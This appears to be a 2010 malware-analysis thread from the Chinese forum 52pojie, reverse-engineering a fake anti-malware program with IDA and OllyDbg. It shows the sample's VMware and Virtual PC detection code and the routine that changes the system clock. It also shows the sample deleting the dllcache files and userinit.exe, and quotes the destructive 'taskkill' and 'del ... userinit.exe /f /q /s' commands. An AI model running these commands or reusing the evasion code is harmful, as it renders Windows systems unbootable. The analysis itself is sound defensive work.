吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 25097|回复: 11
收起左侧

[PC样本分析] 分析某恶意程序 by roxiel[LSG]

  [复制链接]
roxiel 发表于 2010-1-12 16:36
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 是昔流芳 于 2011-2-11 14:43 编辑

样本就放这里了 AntiMalware.7z (84.61 KB, 下载次数: 71)


IDA先瞅一眼,是个基于对话框的MFC
 
.text:00401398                 sub     esp, 44h
.text:0040139B                 push    ebx
.text:0040139C                 push    esi
.text:0040139D                 push    edi
.text:0040139E                 mov     esi, ecx
.text:004013A0                 call    ?OnInitDialog@CDialog@@UAEHXZ ; CDialog::OnInitDialog(void)

这样直接开OD,断在OnInitDialog就可以了
这里有必要说明一下,在Dialog创建之前,也是可能存在恶意代码的
由于在IDA中看到了恶意代码是在OnInitDialog开始的,所以才这么断的。。

bp 4013a0

来到下面的位置
接下来几段的MENU和SendMessage不用看
 
00401430  |.  50            push    eax                              ; /lParam
00401431  |.  6A 00         push    0                                ; |wParam = 0
00401433  |.  68 80000000   push    80                               ; |Message = WM_SETICON
00401438  |.  51            push    ecx                              ; |hWnd
00401439  |.  FFD3          call    ebx                              ; \SendMessageA
====================================幽灵之忽略的分割线=====================================
0040143B  |.  E8 00FDFFFF   call    00401140
00401440  |.  85C0          test    eax, eax
00401442  |.  74 0E         je      short 00401452
00401444  |.  6A 00         push    0
00401446  |.  68 14C14200   push    0042C114                         ;  ASCII "Warning"
0040144B  |.  68 A4C24200   push    0042C2A4                         ;  ASCII "Son of bitch under Vmware"
判断虚拟机
跟进 0040143B 这个CALL看一看
 
00401140   push    ebp
00401141   mov     ebp, esp
00401143   push    -1
00401145   push    004236B0
0040114A   push    00409E1C                         ;  SE 处理程序安装
0040114F   mov     eax, dword ptr fs:[0]
00401155   push    eax
00401156   mov     dword ptr fs:[0], esp
0040115D   sub     esp, 10
00401160   push    ebx
00401161   push    esi
00401162   push    edi
00401163   mov     dword ptr [ebp-18], esp
00401166   mov     dword ptr [ebp-4], 0
0040116D   pushad                                                 ;从这里开始判断了
0040116E   pushfd                                                  ;
0040116F   xor     ebx, ebx
00401171   mov     ecx, 0A                   
00401176   mov     eax, 564D5868                 ;F8完了看一眼EAX,是"VMXh"
0040117B   mov     dx, 5658                             ;VMXh-M-h="VX"
0040117F   in      eax, dx                                        ;应该是个调用之类的
00401180   cmp     ebx, 564D5868               ;看样子结果是存在ebx里了,和VMXh比较
00401186   sete    al
00401189   movzx   eax, al                                 
0040118C   mov     dword ptr [42E2C4], eax ;返回比较结果
00401191   popfd
00401192   popad
然后一路F8或者直接RETN
再回来
 
0040143B  call    00401140
00401440  test    eax, eax
00401442  je      short 00401452
00401444  push    0
00401446  push    0042C114                         ;  ASCII "Warning"
0040144B  push    0042C2A4                         ;  ASCII " !!已被滤霸过滤!! In Vmware !!!"
00401450  jmp     short 00401485
00401452  call    004011D0
00401457  test    eax, eax
00401459  je      short 00401469
0040145B  push    0
0040145D  push    0042C114                         ;  ASCII "Warning"
00401462  push    0042C27C                         ;  ASCII " !!已被滤霸过滤!!! VPC"
00401467  jmp     short 00401485
00401469  call    00401250
0040146E  test    eax, eax
00401470  push    0
00401472  push    0042C114                         ;  ASCII "Warning"
00401477  je      short 00401480
00401479  push    0042C250                         ;  ASCII "Son of  !!已被滤霸过滤!! VM "
0040147E  jmp     short 00401485
00401480  push    0042C21C                         ;  ASCII "Son of  !!已被滤霸过滤!!^$#fdHost"
00401485  mov     ecx, esi
00401487  call    00419B92                            ;这里是Messagebox
0040148C  jmp     short 0040149E


用伪代码解释
 
if( ISVmware() )
{...参数1}
else if( ISVPC() )
{...参数2}
else if (ISVM())
{...参数3}
...


下面接着到0040149E来看,IDA这里看得更清楚
 
0040149E  lea     edx, dword ptr [ebp-34]
004014A1  push    edx                                                    ; lpSystemTime
004014A2  call    dword ptr [<&KERNEL32.GetSystemT>; ds:GetSystemTime
004014A8  lea     eax, dword ptr [ebp-34]                     ;取得[ebp+SystemTime.wYear],这里的方式是引用的方式,也就是下面的SetXXX函数可以直接修改取得的wYear
004014AB  mov     word ptr [ebp-34], 833                     ;[ebp+SystemTime.wYear]== 833h 设置年份
004014B1  push    eax                                                    ; lpSystemTime
004014B2  call    dword ptr [<&KERNEL32.SetSystemT>;ds:SetSystemTime
004014B8  lea     ecx, dword ptr [ebp-34]                      ;[ebp+SystemTime]
004014BB  push    ecx                              ; lpLocalTime
004014BC  call    dword ptr [<&KERNEL32.SetLocalTi>; ds:SetLocalTime
004014C2  push    0
004014C4  push    0042C114                         ;  ASCII "Warning"
004014C9  push    0042C1EC                         ;  ASCII !!已被滤霸过滤!!
004014CE  mov     ecx, esi
004014D0  call    00419B92                             ;惯例又是一个MessageBox
下面就看关键的地方
 
0040159A  |push    80                                        ; /FileAttributes = NORMAL
0040159F  |push    eax                                       ; |FileName
004015A0  |call    dword ptr [<&KERNEL32.SetFileAttributesA>>; \SetFileAttributesA      设置文件属性
004015A6  |lea     ecx, dword ptr [ebp-1C]
004015A9  |call    00417E02
004015AE  |lea     eax, dword ptr [ebp-20]
004015B1  |lea     ecx, dword ptr [ebp-50]
004015B4  |push    eax
004015B5  |call    00402660
004015BA  |mov     eax, dword ptr [eax]
004015BC  |push    eax                                       ; /FileName
004015BD  |call    dword ptr [<&KERNEL32.DeleteFileA>]       ; \DeleteFileA                     删除文件
004015C3  |lea     ecx, dword ptr [ebp-20]
004015C6  |call    00417E02
004015CB  |mov     eax, dword ptr [ebp-24]
004015CE  |test    eax, eax
004015D0  \jnz     00401501
004015D6  lea     ecx, dword ptr [ebp-50]
004015D9  call    00402327
004015DE  push    0
004015E0  push    0042C1A0                                   ;  ASCII "C:\WINDOWS\system32\userinit.exe"
004015E5  lea     ecx, dword ptr [ebp-50]
004015E8  call    00402371                                      ;FindFile
004015ED  test    eax, eax
004015EF  je      004016D5                                      
。
。
。
。
0040166C  push    0
0040166E  push    0042C114                                   ;  ASCII "Warning"
00401673  push    0042C174                                   ;  ASCII "Malware scripts had been Pending removed"
00401678  mov     ecx, esi
0040167A  call    00419B92                                      ;MessageBox
0040167F  lea     ecx, dword ptr [ebp-24]
00401682  push    ecx
00401683  lea     ecx, dword ptr [ebp-50]
00401686  call    00402660
0040168B  mov     eax, dword ptr [eax]
0040168D  push    80                                         ; /FileAttributes = NORMAL
00401692  push    eax                                        ; |FileName
00401693  call    dword ptr [<&KERNEL32.SetFileAttributesA>] ; \SetFileAttributesA   文件属性
00401699  lea     ecx, dword ptr [ebp-24]
0040169C  call    00417E02
004016A1  lea     edx, dword ptr [ebp-24]
004016A4  lea     ecx, dword ptr [ebp-50]
004016A7  push    edx
004016A8  call    00402660
004016AD  mov     eax, dword ptr [eax]
004016AF  push    eax                                        ; /FileName
004016B0  call    dword ptr [<&KERNEL32.DeleteFileA>]        ; \DeleteFileA           删除文件
004016B6  lea     ecx, dword ptr [ebp-24]
004016B9  call    00417E02
004016BE  push    0042C154                                   ;  ASCII "Taskkill /f /IM userinit.exe"                                             
004016C3  call    00409EF4                                      ;系统调用结束userinit
004016C8  push    0042C124                                   ;  ASCII "del %SystemRoot%\system32\userinit.exe /f /q /s"
004016CD  call    00409EF4                                      ;系统调用删除userinit
004016D2  add     esp, 8

除了DELETEFILE和系统调用,还有MoveFile,由于贴代码太麻烦这里就不赘述了
它删了所有dllcache里的文件和userinit
导致进不去系统
后半部分的伪代码大致如下
 

while(FindFile("C:\\WINDOWS\\system32\\dllcache\\*")) 
{ 
FindResumeNext(); 
MoveFileEx(...);
SetFileAttributes(...);
DeleteFile(...);
} 

if(FindFile("C:\\WINDOWS\\system32\\userinit.exe")) 
{ 
if(MoveFileEx(...)==SECUESS);  不得不说,这个逻辑很火星
{
    SetFileAttributes(...);
    DeleteFile(...);
    Taskkill /f /IM userinit.exe
    del %SystemRoot%\\system32\\userinit.exe
}
}

把这些都屏蔽掉之后,我们运行程序,会发现对话框中有一个按钮
1.jpg

接下来怎么玩呢,OD重新载入
bp 4013a0
运行,断下来的CALL按空格修改,
修改为jmp 4016ed
这样就直接把InitDialog过去了
再运行,界面就出来了

然后设消息断点,202 LBUTTONUP

然后发现是大段的数学计算。。。。呃,那就到此为止吧

免费评分

参与人数 1威望 +1 收起 理由
smallyou93 + 1 感谢您的分析,[吾爱破解]有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

紫色 发表于 2010-1-12 16:48
我看一下 大部分还看不懂哦 [s:48]
 楼主| roxiel 发表于 2010-1-12 16:50
回复 2# 紫色


    如果这不是MFC,可能就更好明白一点
smallyou93 发表于 2010-1-12 16:51
1322 发表于 2010-1-12 20:47
楼上回复 也忒强了点儿
是昔流芳 发表于 2010-1-12 20:59
膜拜一剑
顺便好奇一下4楼是怎么会这句话的,我记得我曾经用这句话来形容过孔子
liuxianfu 发表于 2010-1-12 21:13
分析这种恶意程序很费时间的.我从来不碰,找杀软去解决
阿呆不呆啦 发表于 2010-1-12 22:04
这是高手们做得事!
kongzi 发表于 2010-1-16 12:32
回复 6# 是昔流芳


    芳芳怎么能这么说,膜拜一下李叫兽
 楼主| roxiel 发表于 2010-1-16 18:35
回复 9# kongzi


    :)eee      难得你俩都出来冒个泡。。。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 14:42

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表